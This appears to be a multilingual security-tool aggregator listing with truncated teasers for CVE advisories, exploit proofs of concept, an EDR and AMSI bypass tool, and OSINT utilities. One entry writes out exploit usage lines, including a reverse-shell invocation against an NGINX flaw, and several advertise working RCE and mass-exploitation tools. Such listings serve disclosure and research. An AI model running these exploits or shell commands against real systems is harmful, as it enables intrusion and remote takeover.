CVE-2026-40017

An attacker that can send mail to a user can craft a message header whose values are chosen to collide in an internal hash table, which makes the IMAP THREAD command consume CPU disproportionate to the size of the message. This is a separate issue from CVE-2026-40014 and is not addressed by that...

CVE-2026-40014

An attacker that can send mail to a user can craft a message header that makes the IMAP THREAD command consume CPU disproportionate to the size of the message. When a mail client issues a THREAD command on the affected mailbox, this can cause degradation or denial of service for IMAP. Monitor...

CVE-2026-18918

In Eclipse Lyo versions 2.0.0 to 7.0.0, OAuth server authorization checks can be bypassed when the 2-legged auth is supported by the server. In those cases, application that based their authz filters upon Lyo-provided AbstractAdapterCredentialsFilter, are vulnerable. An attacked can create a...

steganography

Strumento di Steganografia per Immagini Semplice strumento C++ di crittografia e steganografia che utilizza crittografia protetta da password per proteggere il contenuto di un file, e poi lo incorpora nei dati dei pixel di un'immagine utilizzando la codifica del bit meno significativo. Per sistem...

CVE-2024-39205-Pyload-RCE

CVE-2024-39205-Pyload-RCE Pyload RCE mit js2py Sandbox-Escape Zusammenfassung Jedes pyload-ng, das unter python3.11 oder niedriger läuft, ist anfällig für RCE. Ein Angreifer kann eine Anfrage mit einem beliebigen Shell-Befehl senden, und der Opfer-Server führt diesen sofort aus. Behebung...

lighty-sqlinj-demo

title: Ep4 - Vulnerabilità relativa alle reti members: Ciro S. Costa Marcela Terakado date: 10 Nov, 2015 Vulnerabilità correlata: root@kitploit: CVE-2014-2323 1 was assigned to SQL injection bug. CVE-2014-2324 2 was assigned to the path traversal bug. Conferma:...

SharpBlock

SharpBlock Un metodo per bypassare le DLL di proiezione attiva degli EDR impedendo l'esecuzione del punto di ingresso. Caratteristiche Blocca l'esecuzione del punto di ingresso delle DLL EDR, impedendo il posizionamento degli hook EDR. Bypass AMSI senza patch, non rilevabile dagli scanner che...

LazyMesh

LazyMesh Mesh-Routing-System, das die Verwendung eines OpenDHT-Proxys als Backend unterstützt, sodass Knoten direkt über das Internet kommunizieren können. Sehr frühe Pre-Alpha, Proof of Concept, funktioniert möglicherweise noch nicht, usw. Dies ist sowohl für Hobby-/Funkamateur-Anwendungsfälle a...

Two Unitree G1 EDU Humanoid Robot Flaws Enable Root RCE, One Starts Over Bluetooth

Security researcher Olivier Laflamme has disclosed two independent root remote code execution RCE chains affecting the Unitree G1 EDU , including a Bluetooth Low Energy BLE path that can reach root on the robot's Locomotion PC. The flaws are tracked asCVE-2026-76639 and CVE-2026-76640 , with the...

CVE-2026-29000

CVE-2026-29000: PoC di Bypass dell'Autenticazione JWT in pac4j Prova di concetto per CVE-2026-29000 - Una vulnerabilità critica di bypass dell'autenticazione nell'implementazione JWT di pac4j che consente agli aggressori di falsificare token admin senza una firma valida. ⚠️ DICHIARAZIONE DI NON...

CVE-2016-2569

Ciao a tutti, Grazie per aver letto il mio primo post sul blog. Oggi parleremo della creazione di un exploit per uno degli strumenti open-source, il server proxy di caching Squid. Quindi, cos'è Squido? Squid è un proxy di caching per il Web che supporta HTTP, HTTPS, FTP e altro. Riduce la larghez...

CVE-2026-9018

CVE-2026-9018 CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | Escalação de Privilégios sem Autenticação Pesquisa por: Atomic Edge Severidade: Alta | CVSS: 8.8 | Autenticação necessária: Nenhuma Visão Geral Existe uma vulnerabilidade de escalação de privilégios sem autenticação no plugin...

spiderfoot

SpiderFoot è uno strumento di automazione per l'intelligence open source OSINT. Si integra con praticamente ogni fonte di dati disponibile e utilizza una serie di metodi per l'analisi dei dati, rendendo quei dati facili da navigare. SpiderFoot ha un server web incorporato per fornire un'interfacc...

CVE-2025-40271

CVE-2025-40271 — procreaddirde rb-tree UAF LPE Proof-of-Concept für eine lokale Privilegieneskalations-Schwachstelle im Linux-Kernel-Dateisystem proc. Der Fehler ist ein Use-After-Free in procreaddirde, verursacht durch rberase ohne RBCLEARNODE, wodurch veraltete Rot-Schwarz-Baum-Verknüpfungen...

cve-2025-24035-rds-websocket-dos-test

CVE-2025-24035 Test di stress WebSocket Sicuro 🚨 AVVERTENZA : Questo NON è un exploit. Questo script è una simulazione e deve essere utilizzato esclusivamente per scopi educativi in un ambiente di laboratorio sicuro. Scopo Questo test invia un header WebSocket deliberatamente sovradimensionato pe...

pdf.js-CVE-2024-4367

🚨 CVE-2024-4367 - Universeller PDF.js-Schwachstellenscanner ⚠️ KRITISCHES SICHERHEITSTOOL | Erkennt CVE-2024-4367 CVSS 9.8 - Sicherheitslücke zur Remote-Codeausführung in PDF.js Funktioniert auf JEDER Website - Keine Konfiguration erforderlich 📋 Inhaltsverzeichnis 📖 Übersicht ⚡ Schnellstart 🔍 Was...

CVE-2017-7921-Writeup-2026

CVE-2017-7921 — Telecamere IP / DVR / NVR Hikvision Autenticazione Impropria — Escalation dei Privilegi Tramite Parametro di Query Artificioso | ---|--- ID CVE| CVE-2017-7921 Classe di Vulnerabilità| CWE-287: Autenticazione Impropria Punteggio CVSS v3.0 Base| 10.0 Critico —...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

CVE-2025-55182

CVE-2025-55182 — React2Shell Pre-Authentifizierung Remote Code Execution in React Server Components RSC, Next.js und verwandten Frameworks. Übersicht CVE-2025-55182 auch bekannt als React2Shell ist eine kritische Pre-Authentifizierung RCE-Schwachstelle, die das React Server Components RSC Ökosyst...

CVE-2025-55182-React2Shell-RCE-Shell

‼️ CVE-2025-55182 Pwn React2Shell RCE Exploit con Prompt Shell Interattivo e Sfruttamento di Massa Questo repository fornisce un proof-of-concept funzionante per CVE-2025-55182, una RCE che colpisce alcune implementazioni di Next.js. Lo strumento apre un prompt shell interattivo al momento dello...